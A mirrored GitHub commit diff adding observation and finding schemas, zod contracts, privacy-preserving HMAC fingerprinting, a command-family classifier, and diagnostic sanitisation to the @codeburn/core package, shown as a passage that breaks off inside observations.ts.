mirror of
https://github.com/AgentSeal/codeburn.git
synced 2026-08-06 15:14:37 +00:00
Merge pull request #821 from getagentseal/phase2/core-foundation
feat(core): observation schema, contracts, fingerprints, guardrail harnesses (phase 2)
This commit is contained in:
commit
68a5f52af3
26 changed files with 1709 additions and 6 deletions
12
package-lock.json
generated
12
package-lock.json
generated
|
|
@ -4152,6 +4152,18 @@
|
|||
"name": "@codeburn/core",
|
||||
"version": "0.9.19",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"zod": "^3.25.76"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/node": "^22.0.0",
|
||||
"ajv": "^8.17.1",
|
||||
"tsup": "^8.0.0",
|
||||
"tsx": "^4.19.0",
|
||||
"typescript": "^5.5.0",
|
||||
"vitest": "^3.1.0",
|
||||
"zod-to-json-schema": "^3.24.1"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=22.13.0"
|
||||
}
|
||||
|
|
|
|||
|
|
@ -10,18 +10,53 @@
|
|||
".": {
|
||||
"types": "./dist/index.d.ts",
|
||||
"import": "./dist/index.js"
|
||||
},
|
||||
"./schema": {
|
||||
"types": "./dist/schema.d.ts",
|
||||
"import": "./dist/schema.js"
|
||||
},
|
||||
"./observations": {
|
||||
"types": "./dist/observations.d.ts",
|
||||
"import": "./dist/observations.js"
|
||||
},
|
||||
"./diagnostics": {
|
||||
"types": "./dist/diagnostics.d.ts",
|
||||
"import": "./dist/diagnostics.js"
|
||||
},
|
||||
"./fingerprint": {
|
||||
"types": "./dist/fingerprint.d.ts",
|
||||
"import": "./dist/fingerprint.js"
|
||||
},
|
||||
"./contracts": {
|
||||
"types": "./dist/contracts.d.ts",
|
||||
"import": "./dist/contracts.js"
|
||||
}
|
||||
},
|
||||
"files": [
|
||||
"dist"
|
||||
"dist",
|
||||
"schemas"
|
||||
],
|
||||
"scripts": {
|
||||
"build": "tsup",
|
||||
"typecheck": "tsc --noEmit"
|
||||
"typecheck": "tsc --noEmit",
|
||||
"test": "vitest run",
|
||||
"emit-schemas": "tsx scripts/emit-schemas.mts"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=22.13.0"
|
||||
},
|
||||
"dependencies": {
|
||||
"zod": "^3.25.76"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/node": "^22.0.0",
|
||||
"ajv": "^8.17.1",
|
||||
"tsup": "^8.0.0",
|
||||
"tsx": "^4.19.0",
|
||||
"typescript": "^5.5.0",
|
||||
"vitest": "^3.1.0",
|
||||
"zod-to-json-schema": "^3.24.1"
|
||||
},
|
||||
"author": "AgentSeal <hello@agentseal.org>",
|
||||
"license": "MIT",
|
||||
"repository": {
|
||||
|
|
|
|||
85
packages/core/schemas/finding-0.1.0.json
Normal file
85
packages/core/schemas/finding-0.1.0.json
Normal file
|
|
@ -0,0 +1,85 @@
|
|||
{
|
||||
"$ref": "#/definitions/Finding",
|
||||
"definitions": {
|
||||
"Finding": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"detectorId": {
|
||||
"type": "string",
|
||||
"minLength": 1,
|
||||
"maxLength": 128
|
||||
},
|
||||
"algorithmVersion": {
|
||||
"type": "string",
|
||||
"pattern": "^\\d+\\.\\d+\\.\\d+(?:[-+][0-9A-Za-z.-]+)?$"
|
||||
},
|
||||
"confidence": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"score": {
|
||||
"type": "number",
|
||||
"minimum": 0,
|
||||
"maximum": 1
|
||||
},
|
||||
"basis": {
|
||||
"type": "string",
|
||||
"minLength": 1,
|
||||
"maxLength": 200
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"score",
|
||||
"basis"
|
||||
],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"evidence": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"kind": {
|
||||
"type": "string",
|
||||
"minLength": 1,
|
||||
"maxLength": 64
|
||||
},
|
||||
"count": {
|
||||
"type": "integer",
|
||||
"minimum": 0
|
||||
},
|
||||
"refs": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"type": "string",
|
||||
"pattern": "^[0-9a-f]{16}$"
|
||||
}
|
||||
},
|
||||
"sessionRefs": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"type": "string",
|
||||
"pattern": "^[0-9a-f]{16}$"
|
||||
}
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"kind"
|
||||
],
|
||||
"additionalProperties": false
|
||||
}
|
||||
},
|
||||
"impactUSD": {
|
||||
"type": "number"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"detectorId",
|
||||
"algorithmVersion",
|
||||
"confidence",
|
||||
"evidence"
|
||||
],
|
||||
"additionalProperties": false
|
||||
}
|
||||
},
|
||||
"$schema": "http://json-schema.org/draft-07/schema#"
|
||||
}
|
||||
222
packages/core/schemas/observation-0.1.0.json
Normal file
222
packages/core/schemas/observation-0.1.0.json
Normal file
|
|
@ -0,0 +1,222 @@
|
|||
{
|
||||
"$ref": "#/definitions/ObservationEnvelope",
|
||||
"definitions": {
|
||||
"ObservationEnvelope": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"schemaVersion": {
|
||||
"type": "string",
|
||||
"const": "0.1.0"
|
||||
},
|
||||
"generator": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"name": {
|
||||
"type": "string",
|
||||
"const": "@codeburn/core"
|
||||
},
|
||||
"version": {
|
||||
"type": "string",
|
||||
"minLength": 1
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"name",
|
||||
"version"
|
||||
],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"sessions": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"sessionRef": {
|
||||
"type": "string",
|
||||
"pattern": "^[0-9a-f]{16}$"
|
||||
},
|
||||
"projectRef": {
|
||||
"type": "string",
|
||||
"pattern": "^[0-9a-f]{16}$"
|
||||
},
|
||||
"providerId": {
|
||||
"type": "string",
|
||||
"minLength": 1
|
||||
},
|
||||
"startedAt": {
|
||||
"type": "string",
|
||||
"format": "date-time"
|
||||
},
|
||||
"endedAt": {
|
||||
"type": "string",
|
||||
"format": "date-time"
|
||||
},
|
||||
"gitBranchRef": {
|
||||
"type": "string",
|
||||
"pattern": "^[0-9a-f]{16}$"
|
||||
},
|
||||
"isSidechain": {
|
||||
"type": "boolean"
|
||||
},
|
||||
"calls": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"provider": {
|
||||
"type": "string",
|
||||
"minLength": 1
|
||||
},
|
||||
"model": {
|
||||
"type": "string",
|
||||
"minLength": 1
|
||||
},
|
||||
"pricingModel": {
|
||||
"type": "string",
|
||||
"minLength": 1
|
||||
},
|
||||
"tokens": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"input": {
|
||||
"type": "integer",
|
||||
"minimum": 0
|
||||
},
|
||||
"output": {
|
||||
"type": "integer",
|
||||
"minimum": 0
|
||||
},
|
||||
"reasoning": {
|
||||
"type": "integer",
|
||||
"minimum": 0
|
||||
},
|
||||
"cacheRead": {
|
||||
"type": "integer",
|
||||
"minimum": 0
|
||||
},
|
||||
"cacheCreate": {
|
||||
"type": "integer",
|
||||
"minimum": 0
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"input",
|
||||
"output",
|
||||
"reasoning",
|
||||
"cacheRead",
|
||||
"cacheCreate"
|
||||
],
|
||||
"additionalProperties": false
|
||||
},
|
||||
"webSearchRequests": {
|
||||
"type": "integer",
|
||||
"minimum": 0
|
||||
},
|
||||
"speed": {
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"standard",
|
||||
"fast"
|
||||
]
|
||||
},
|
||||
"costBasis": {
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"measured",
|
||||
"estimated"
|
||||
]
|
||||
},
|
||||
"measuredCostUSD": {
|
||||
"type": "number",
|
||||
"minimum": 0
|
||||
},
|
||||
"fallbackCostUSD": {
|
||||
"type": "number",
|
||||
"minimum": 0
|
||||
},
|
||||
"timestamp": {
|
||||
"type": "string",
|
||||
"format": "date-time"
|
||||
},
|
||||
"dedupKey": {
|
||||
"type": "string",
|
||||
"minLength": 1
|
||||
},
|
||||
"toolNames": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"type": "string",
|
||||
"minLength": 1,
|
||||
"maxLength": 64,
|
||||
"pattern": "^[A-Za-z0-9_.-]+$"
|
||||
}
|
||||
},
|
||||
"turnIndex": {
|
||||
"type": "integer",
|
||||
"minimum": 0
|
||||
},
|
||||
"locAdded": {
|
||||
"type": "integer",
|
||||
"minimum": 0
|
||||
},
|
||||
"locRemoved": {
|
||||
"type": "integer",
|
||||
"minimum": 0
|
||||
},
|
||||
"interrupted": {
|
||||
"type": "boolean"
|
||||
},
|
||||
"userModified": {
|
||||
"type": "boolean"
|
||||
},
|
||||
"toolErrors": {
|
||||
"type": "integer",
|
||||
"minimum": 0
|
||||
},
|
||||
"editFailed": {
|
||||
"type": "integer",
|
||||
"minimum": 0
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"provider",
|
||||
"model",
|
||||
"tokens",
|
||||
"webSearchRequests",
|
||||
"speed",
|
||||
"costBasis",
|
||||
"timestamp",
|
||||
"dedupKey",
|
||||
"toolNames",
|
||||
"turnIndex"
|
||||
],
|
||||
"additionalProperties": false
|
||||
}
|
||||
},
|
||||
"turnCount": {
|
||||
"type": "integer",
|
||||
"minimum": 0
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"sessionRef",
|
||||
"projectRef",
|
||||
"providerId",
|
||||
"startedAt",
|
||||
"calls",
|
||||
"turnCount"
|
||||
],
|
||||
"additionalProperties": false
|
||||
}
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"schemaVersion",
|
||||
"generator",
|
||||
"sessions"
|
||||
],
|
||||
"additionalProperties": false
|
||||
}
|
||||
},
|
||||
"$schema": "http://json-schema.org/draft-07/schema#"
|
||||
}
|
||||
19
packages/core/scripts/emit-schemas.mts
Normal file
19
packages/core/scripts/emit-schemas.mts
Normal file
|
|
@ -0,0 +1,19 @@
|
|||
// Emits the checked-in JSON Schemas from the zod validators. Run via
|
||||
// `npm run emit-schemas -w @codeburn/core` (uses tsx). The drift test asserts
|
||||
// the checked-in files equal a fresh emission, so re-run this after any schema
|
||||
// change.
|
||||
import { mkdirSync, writeFileSync } from 'node:fs'
|
||||
import { dirname, join } from 'node:path'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
import { buildJsonSchemas } from '../src/internal/json-schema.js'
|
||||
|
||||
const here = dirname(fileURLToPath(import.meta.url))
|
||||
const outDir = join(here, '..', 'schemas')
|
||||
mkdirSync(outDir, { recursive: true })
|
||||
|
||||
for (const [name, schema] of Object.entries(buildJsonSchemas())) {
|
||||
const file = join(outDir, `${name}.json`)
|
||||
writeFileSync(file, JSON.stringify(schema, null, 2) + '\n')
|
||||
console.log(`wrote ${file}`)
|
||||
}
|
||||
83
packages/core/src/contracts.ts
Normal file
83
packages/core/src/contracts.ts
Normal file
|
|
@ -0,0 +1,83 @@
|
|||
import { z } from 'zod'
|
||||
|
||||
import type { RecordDiagnostic } from './diagnostics.js'
|
||||
import { FingerprintHex } from './schema.js'
|
||||
import type { ObservationEnvelope, SessionObservation } from './observations.js'
|
||||
|
||||
/**
|
||||
* Finding schema version. 0.x per decision D8: pre-stability, minor bumps may
|
||||
* break consumers.
|
||||
*/
|
||||
export const FINDING_SCHEMA_VERSION = '0.1.0'
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Decoder contract (types only — implementations live in per-provider packages)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/** Context a decoder needs, but that must never appear in its output. */
|
||||
export interface DecodeContext {
|
||||
/** Caller-supplied HMAC key for all fingerprints (decision D1). */
|
||||
privacyKey: string
|
||||
/** The provider whose records these are. */
|
||||
providerId: string
|
||||
/** An opaque fingerprint of the source (file/stream) being decoded. */
|
||||
sourceRef: string
|
||||
}
|
||||
|
||||
/**
|
||||
* A decoder turns a batch of raw provider records into observations plus
|
||||
* diagnostics, threading optional streaming `state` between batches.
|
||||
*/
|
||||
export type Decoder<TState = unknown> = (input: {
|
||||
records: unknown[]
|
||||
context: DecodeContext
|
||||
state?: TState
|
||||
}) => {
|
||||
observations: SessionObservation[]
|
||||
diagnostics: RecordDiagnostic[]
|
||||
state?: TState
|
||||
}
|
||||
|
||||
/** A detector inspects a full envelope and emits findings. */
|
||||
export type Detector = (envelope: ObservationEnvelope) => Finding[]
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Finding contract (zod validators — this is a wire schema)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const SEMVER = /^\d+\.\d+\.\d+(?:[-+][0-9A-Za-z.-]+)?$/
|
||||
|
||||
/**
|
||||
* A single machine-readable piece of evidence. `refs`/`sessionRefs` may hold
|
||||
* ONLY fingerprints (16-char hex) — never raw ids — so a finding cannot smuggle
|
||||
* identifying data. `.strict()` blocks unknown fields.
|
||||
*/
|
||||
export const Evidence = z
|
||||
.object({
|
||||
kind: z.string().min(1).max(64),
|
||||
count: z.number().int().nonnegative().optional(),
|
||||
refs: z.array(FingerprintHex).optional(),
|
||||
sessionRefs: z.array(FingerprintHex).optional(),
|
||||
})
|
||||
.strict()
|
||||
export type Evidence = z.infer<typeof Evidence>
|
||||
|
||||
export const Confidence = z
|
||||
.object({
|
||||
score: z.number().min(0).max(1),
|
||||
/** A short, algorithm-authored rationale (bounded to keep it non-narrative). */
|
||||
basis: z.string().min(1).max(200),
|
||||
})
|
||||
.strict()
|
||||
export type Confidence = z.infer<typeof Confidence>
|
||||
|
||||
export const Finding = z
|
||||
.object({
|
||||
detectorId: z.string().min(1).max(128),
|
||||
algorithmVersion: z.string().regex(SEMVER, 'must be a semver string'),
|
||||
confidence: Confidence,
|
||||
evidence: z.array(Evidence),
|
||||
impactUSD: z.number().optional(),
|
||||
})
|
||||
.strict()
|
||||
export type Finding = z.infer<typeof Finding>
|
||||
94
packages/core/src/diagnostics.ts
Normal file
94
packages/core/src/diagnostics.ts
Normal file
|
|
@ -0,0 +1,94 @@
|
|||
import { z } from 'zod'
|
||||
|
||||
import type { SessionObservation } from './observations.js'
|
||||
|
||||
/** Maximum length of a diagnostic detail message. */
|
||||
export const DIAGNOSTIC_DETAIL_MAX = 200
|
||||
|
||||
/**
|
||||
* A bounded, sanitized diagnostic message.
|
||||
*
|
||||
* The rule is deliberately crude but *structural*: reject any string containing
|
||||
* a path separator ('/' or '\\'), and cap the length at 200 chars. A decoder
|
||||
* cannot smuggle an absolute path (or most of a command line) through a
|
||||
* diagnostic detail, because a path without separators is not a path.
|
||||
*/
|
||||
export const DiagnosticDetail = z
|
||||
.string()
|
||||
.max(DIAGNOSTIC_DETAIL_MAX)
|
||||
.refine((s) => !s.includes('/') && !s.includes('\\'), {
|
||||
message: 'diagnostic detail must not contain path separators ("/" or "\\\\")',
|
||||
})
|
||||
|
||||
/** Classification of why a record could not be turned into an observation. */
|
||||
export const DiagnosticCode = z.enum([
|
||||
'malformed-json',
|
||||
'unknown-shape',
|
||||
'missing-required',
|
||||
'invalid-value',
|
||||
'other',
|
||||
])
|
||||
export type DiagnosticCode = z.infer<typeof DiagnosticCode>
|
||||
|
||||
export const RecordDiagnostic = z
|
||||
.object({
|
||||
/** Index of the offending record within the input batch, when known. */
|
||||
index: z.number().int().nonnegative().optional(),
|
||||
code: DiagnosticCode,
|
||||
detail: DiagnosticDetail.optional(),
|
||||
})
|
||||
.strict()
|
||||
export type RecordDiagnostic = z.infer<typeof RecordDiagnostic>
|
||||
|
||||
/**
|
||||
* The result of decoding a batch. Poison records must never throw or drop their
|
||||
* siblings; instead they surface as diagnostics. `state` is opaque and lets a
|
||||
* streaming decoder thread its carry-over between batches.
|
||||
*/
|
||||
export interface DecodeResult<TState = unknown> {
|
||||
observations: SessionObservation[]
|
||||
diagnostics: RecordDiagnostic[]
|
||||
state?: TState
|
||||
}
|
||||
|
||||
/**
|
||||
* Coerce an arbitrary caught value into a detail string that satisfies
|
||||
* {@link DiagnosticDetail}: strip path separators and cap the length. Used so a
|
||||
* thrown error whose message embeds a path cannot leak that path verbatim.
|
||||
*/
|
||||
export function sanitizeDetail(value: unknown): string {
|
||||
const raw = value instanceof Error ? value.message : String(value)
|
||||
return raw.replace(/[\\/]+/g, ' ').slice(0, DIAGNOSTIC_DETAIL_MAX)
|
||||
}
|
||||
|
||||
/** The per-record outcome a caller's `decodeOne` may return. */
|
||||
export interface RecordOutcome {
|
||||
observations?: SessionObservation[]
|
||||
diagnostics?: RecordDiagnostic[]
|
||||
}
|
||||
|
||||
/**
|
||||
* Generic poison-isolation loop. Runs `decodeOne` against each record; a record
|
||||
* that throws becomes an 'other' diagnostic (with a sanitized message) and the
|
||||
* loop continues, so one bad record never drops its siblings. This is the
|
||||
* pattern every concrete decoder is expected to use.
|
||||
*/
|
||||
export function isolateRecords(
|
||||
records: readonly unknown[],
|
||||
decodeOne: (record: unknown, index: number) => RecordOutcome,
|
||||
): { observations: SessionObservation[]; diagnostics: RecordDiagnostic[] } {
|
||||
const observations: SessionObservation[] = []
|
||||
const diagnostics: RecordDiagnostic[] = []
|
||||
|
||||
records.forEach((record, index) => {
|
||||
try {
|
||||
const outcome = decodeOne(record, index)
|
||||
if (outcome.observations) observations.push(...outcome.observations)
|
||||
if (outcome.diagnostics) diagnostics.push(...outcome.diagnostics)
|
||||
} catch (err) {
|
||||
diagnostics.push({ index, code: 'other', detail: sanitizeDetail(err) })
|
||||
}
|
||||
})
|
||||
|
||||
return { observations, diagnostics }
|
||||
}
|
||||
211
packages/core/src/fingerprint.ts
Normal file
211
packages/core/src/fingerprint.ts
Normal file
|
|
@ -0,0 +1,211 @@
|
|||
import { createHmac } from 'node:crypto'
|
||||
|
||||
/**
|
||||
* All fingerprints are the first 16 hex chars of an HMAC-SHA256 keyed by a
|
||||
* caller-supplied `privacyKey` (decision D1: the key is REQUIRED — core never
|
||||
* invents or persists one). HMAC-SHA256 is one-way, so a fingerprint cannot be
|
||||
* reversed to its input; and because the key is per-host, fingerprints are not
|
||||
* comparable across hosts that use different keys.
|
||||
*
|
||||
* `node:crypto` is pure computation (no I/O), so it is permitted in core.
|
||||
*/
|
||||
|
||||
const FINGERPRINT_LEN = 16
|
||||
|
||||
/** Domain-separation prefixes so the same string in different roles differs. */
|
||||
type Domain = 'session' | 'project' | 'branch' | 'resource'
|
||||
|
||||
/** Field separator for composite HMAC inputs (ASCII Unit Separator). */
|
||||
const SEP = String.fromCharCode(0x1f)
|
||||
|
||||
function hmac(privacyKey: string, domain: Domain, ...parts: string[]): string {
|
||||
if (!privacyKey) throw new Error('privacyKey is required')
|
||||
return createHmac('sha256', privacyKey)
|
||||
.update(`${domain}:${parts.join(SEP)}`)
|
||||
.digest('hex')
|
||||
.slice(0, FINGERPRINT_LEN)
|
||||
}
|
||||
|
||||
export type ResourceClass =
|
||||
| 'dependency'
|
||||
| 'build'
|
||||
| 'vcs'
|
||||
| 'config'
|
||||
| 'source'
|
||||
| 'doc'
|
||||
| 'other'
|
||||
|
||||
export interface ResourceFingerprint {
|
||||
resourceClass: ResourceClass
|
||||
resourceId: string
|
||||
}
|
||||
|
||||
const DEPENDENCY_SEGMENTS = new Set(['node_modules', 'vendor', '.venv', 'site-packages'])
|
||||
const BUILD_SEGMENTS = new Set(['dist', 'build', 'out', 'target', '.next'])
|
||||
const CONFIG_EXTENSIONS = new Set(['json', 'yaml', 'yml', 'toml'])
|
||||
const DOC_EXTENSIONS = new Set(['md', 'txt', 'rst'])
|
||||
const SOURCE_EXTENSIONS = new Set([
|
||||
'ts', 'tsx', 'js', 'jsx', 'mjs', 'cjs',
|
||||
'py', 'go', 'rs', 'java', 'rb', 'php', 'swift', 'kt', 'kts', 'scala', 'cs',
|
||||
'c', 'h', 'cc', 'cpp', 'hpp', 'hh', 'cxx', 'm', 'mm',
|
||||
'sh', 'bash', 'zsh', 'sql', 'vue', 'svelte',
|
||||
])
|
||||
|
||||
/**
|
||||
* Normalise a path before hashing/classifying:
|
||||
* 1. Backslashes -> forward slashes (so a Windows path and its POSIX spelling
|
||||
* hash identically).
|
||||
* 2. Strip trailing separator(s).
|
||||
* 3. Case-fold (lowercase) ONLY when the path is Windows-style — it either has
|
||||
* a drive-letter prefix (`C:\...`) or used backslashes — because Windows
|
||||
* filesystems are case-insensitive. POSIX paths keep their case, since
|
||||
* `Foo.ts` and `foo.ts` are distinct files there.
|
||||
*/
|
||||
export function normalizePath(absolutePath: string): string {
|
||||
const looksWindows = /^[A-Za-z]:[\\/]/.test(absolutePath) || absolutePath.includes('\\')
|
||||
let p = absolutePath.replace(/\\/g, '/')
|
||||
p = p.replace(/\/+$/, '')
|
||||
if (looksWindows) p = p.toLowerCase()
|
||||
return p
|
||||
}
|
||||
|
||||
function extensionOf(basename: string): string | undefined {
|
||||
const dot = basename.lastIndexOf('.')
|
||||
if (dot <= 0) return undefined // no ext, or leading dot (dotfile) -> not an extension
|
||||
return basename.slice(dot + 1).toLowerCase()
|
||||
}
|
||||
|
||||
/**
|
||||
* Classify a path by its segments and basename. Precedence is directory-based
|
||||
* first (a file under node_modules is a dependency regardless of its
|
||||
* extension), then basename/extension-based:
|
||||
* dependency > build > vcs > config(dotfile) > config(ext) > doc > source > other
|
||||
*/
|
||||
export function classifyResource(absolutePath: string): ResourceClass {
|
||||
const normalized = normalizePath(absolutePath)
|
||||
const segments = normalized.split('/').filter(Boolean)
|
||||
|
||||
for (const seg of segments) {
|
||||
if (DEPENDENCY_SEGMENTS.has(seg)) return 'dependency'
|
||||
}
|
||||
for (const seg of segments) {
|
||||
if (BUILD_SEGMENTS.has(seg)) return 'build'
|
||||
}
|
||||
for (const seg of segments) {
|
||||
if (seg === '.git') return 'vcs'
|
||||
}
|
||||
|
||||
const basename = segments[segments.length - 1] ?? ''
|
||||
// A dotfile (e.g. `.eslintrc`, `.gitignore`) is configuration.
|
||||
if (basename.startsWith('.') && basename.length > 1) return 'config'
|
||||
|
||||
const ext = extensionOf(basename)
|
||||
if (ext) {
|
||||
if (CONFIG_EXTENSIONS.has(ext)) return 'config'
|
||||
if (DOC_EXTENSIONS.has(ext)) return 'doc'
|
||||
if (SOURCE_EXTENSIONS.has(ext)) return 'source'
|
||||
}
|
||||
return 'other'
|
||||
}
|
||||
|
||||
/**
|
||||
* Fingerprint an absolute path into `{ resourceClass, resourceId }`. The class
|
||||
* is a coarse, non-identifying bucket; the id is the domain-separated HMAC of
|
||||
* the normalised path.
|
||||
*/
|
||||
export function resourceFingerprint(privacyKey: string, absolutePath: string): ResourceFingerprint {
|
||||
return {
|
||||
resourceClass: classifyResource(absolutePath),
|
||||
resourceId: hmac(privacyKey, 'resource', normalizePath(absolutePath)),
|
||||
}
|
||||
}
|
||||
|
||||
/** Fingerprint a session id, scoped to its provider. */
|
||||
export function sessionRef(privacyKey: string, provider: string, sessionId: string): string {
|
||||
return hmac(privacyKey, 'session', provider, sessionId)
|
||||
}
|
||||
|
||||
/** Fingerprint a project path (normalised first). */
|
||||
export function projectRef(privacyKey: string, path: string): string {
|
||||
return hmac(privacyKey, 'project', normalizePath(path))
|
||||
}
|
||||
|
||||
/**
|
||||
* Fingerprint a git branch name. Branch names leak feature intent, so only the
|
||||
* ref crosses into the observation layer; the host keeps the raw name.
|
||||
*/
|
||||
export function branchRef(privacyKey: string, branch: string): string {
|
||||
return hmac(privacyKey, 'branch', branch)
|
||||
}
|
||||
|
||||
export type CommandFamily =
|
||||
| 'git'
|
||||
| 'test'
|
||||
| 'build'
|
||||
| 'package'
|
||||
| 'run'
|
||||
| 'fs'
|
||||
| 'net'
|
||||
| 'shell-other'
|
||||
|
||||
const RUNNERS = new Set(['npm', 'yarn', 'pnpm', 'npx', 'bunx'])
|
||||
const FIRST_TOKEN: Record<string, CommandFamily> = {
|
||||
git: 'git',
|
||||
vitest: 'test', jest: 'test', pytest: 'test', mocha: 'test', ava: 'test',
|
||||
make: 'build', tsc: 'build', tsup: 'build', webpack: 'build', vite: 'build', rollup: 'build', esbuild: 'build',
|
||||
pip: 'package', pip3: 'package', gem: 'package', bundle: 'package', cargo: 'package', go: 'package',
|
||||
apt: 'package', 'apt-get': 'package', brew: 'package', poetry: 'package',
|
||||
node: 'run', deno: 'run', bun: 'run', python: 'run', python3: 'run', ruby: 'run', 'ts-node': 'run', tsx: 'run',
|
||||
ls: 'fs', cp: 'fs', mv: 'fs', rm: 'fs', mkdir: 'fs', rmdir: 'fs', touch: 'fs', cat: 'fs', chmod: 'fs', chown: 'fs', find: 'fs', ln: 'fs',
|
||||
curl: 'net', wget: 'net', ssh: 'net', scp: 'net', rsync: 'net', nc: 'net', ping: 'net', dig: 'net',
|
||||
}
|
||||
// For a runner (npm/yarn/...), the SECOND token decides.
|
||||
const RUNNER_SUBCOMMAND: Record<string, CommandFamily> = {
|
||||
test: 'test',
|
||||
run: 'run', start: 'run', exec: 'run', dev: 'run',
|
||||
build: 'build',
|
||||
install: 'package', ci: 'package', add: 'package', remove: 'package', uninstall: 'package', update: 'package', i: 'package',
|
||||
}
|
||||
|
||||
function basenameToken(token: string): string {
|
||||
const cleaned = token.replace(/\\/g, '/')
|
||||
const base = cleaned.slice(cleaned.lastIndexOf('/') + 1)
|
||||
return base.toLowerCase()
|
||||
}
|
||||
|
||||
/**
|
||||
* Classify a command by its leading token(s) only. The function accepts the
|
||||
* full command string for the caller's convenience but is documented to NEVER
|
||||
* store or return it — only the coarse family is emitted.
|
||||
*/
|
||||
export function commandFamily(command: string): CommandFamily {
|
||||
const tokens = command.trim().split(/\s+/).filter(Boolean)
|
||||
if (tokens.length === 0) return 'shell-other'
|
||||
|
||||
const first = basenameToken(tokens[0])
|
||||
|
||||
if (RUNNERS.has(first)) {
|
||||
const sub = tokens[1] ? basenameToken(tokens[1]) : ''
|
||||
// `npm run <script>` / `npm exec <bin>`: the family is decided by the script.
|
||||
if (sub === 'run' || sub === 'exec') {
|
||||
const script = tokens[2] ? basenameToken(tokens[2]) : ''
|
||||
return RUNNER_SUBCOMMAND[script] ?? 'run'
|
||||
}
|
||||
return RUNNER_SUBCOMMAND[sub] ?? 'run'
|
||||
}
|
||||
|
||||
// `go test` / `go build` refine the generic `go` runner.
|
||||
if (first === 'go' && tokens[1]) {
|
||||
const sub = basenameToken(tokens[1])
|
||||
if (sub === 'test') return 'test'
|
||||
if (sub === 'build' || sub === 'install' || sub === 'get') return 'build'
|
||||
}
|
||||
|
||||
// Classify by the binary's basename first (so `/opt/bin/git` is git), then
|
||||
// fall back to treating a bare path invocation like `./scripts/x.sh` as a run.
|
||||
const known = FIRST_TOKEN[first]
|
||||
if (known) return known
|
||||
if (tokens[0].startsWith('./') || tokens[0].startsWith('/') || tokens[0].startsWith('../')) return 'run'
|
||||
|
||||
return 'shell-other'
|
||||
}
|
||||
|
|
@ -1 +1,5 @@
|
|||
export {}
|
||||
export * from './schema.js'
|
||||
export * from './observations.js'
|
||||
export * from './diagnostics.js'
|
||||
export * from './fingerprint.js'
|
||||
export * from './contracts.js'
|
||||
|
|
|
|||
23
packages/core/src/internal/json-schema.ts
Normal file
23
packages/core/src/internal/json-schema.ts
Normal file
|
|
@ -0,0 +1,23 @@
|
|||
// Build/test-only. NOT part of the package's runtime exports or any tsup entry,
|
||||
// so `zod-to-json-schema` stays a devDependency and never enters `dist`. This
|
||||
// keeps core's sole RUNTIME dependency `zod`.
|
||||
import { zodToJsonSchema } from 'zod-to-json-schema'
|
||||
|
||||
import { Finding, FINDING_SCHEMA_VERSION } from '../contracts.js'
|
||||
import { ObservationEnvelope } from '../observations.js'
|
||||
import { OBSERVATION_SCHEMA_VERSION } from '../schema.js'
|
||||
|
||||
/** Deterministic, self-contained (fully inlined) JSON Schemas from the zod validators. */
|
||||
export function buildJsonSchemas(): Record<string, unknown> {
|
||||
const opts = { target: 'jsonSchema7', $refStrategy: 'none' } as const
|
||||
return {
|
||||
[`observation-${OBSERVATION_SCHEMA_VERSION}`]: zodToJsonSchema(ObservationEnvelope, {
|
||||
...opts,
|
||||
name: 'ObservationEnvelope',
|
||||
}),
|
||||
[`finding-${FINDING_SCHEMA_VERSION}`]: zodToJsonSchema(Finding, {
|
||||
...opts,
|
||||
name: 'Finding',
|
||||
}),
|
||||
}
|
||||
}
|
||||
107
packages/core/src/observations.ts
Normal file
107
packages/core/src/observations.ts
Normal file
|
|
@ -0,0 +1,107 @@
|
|||
import { z } from 'zod'
|
||||
|
||||
import {
|
||||
CanonicalToolName,
|
||||
CostBasis,
|
||||
FingerprintHex,
|
||||
IsoTimestamp,
|
||||
NonNegInt,
|
||||
NonNegUSD,
|
||||
OBSERVATION_SCHEMA_VERSION,
|
||||
Speed,
|
||||
TokenBuckets,
|
||||
} from './schema.js'
|
||||
|
||||
/**
|
||||
* A single model call.
|
||||
*
|
||||
* Every field is either an opaque id, an enum, a number, a timestamp, a
|
||||
* fingerprint, or a canonical-name array. There is deliberately no field that
|
||||
* can hold free text: no user message, no title, no path, no command line, no
|
||||
* tool arguments, no file contents. `.strict()` rejects unknown fields, so a
|
||||
* decoder cannot append one either — that is the structural anti-smuggling
|
||||
* property.
|
||||
*/
|
||||
export const CallObservation = z
|
||||
.object({
|
||||
provider: z.string().min(1),
|
||||
model: z.string().min(1),
|
||||
pricingModel: z.string().min(1).optional(),
|
||||
|
||||
tokens: TokenBuckets,
|
||||
webSearchRequests: NonNegInt,
|
||||
|
||||
speed: Speed,
|
||||
costBasis: CostBasis,
|
||||
/** Present only when costBasis === 'measured'. Enforced by the refine below. */
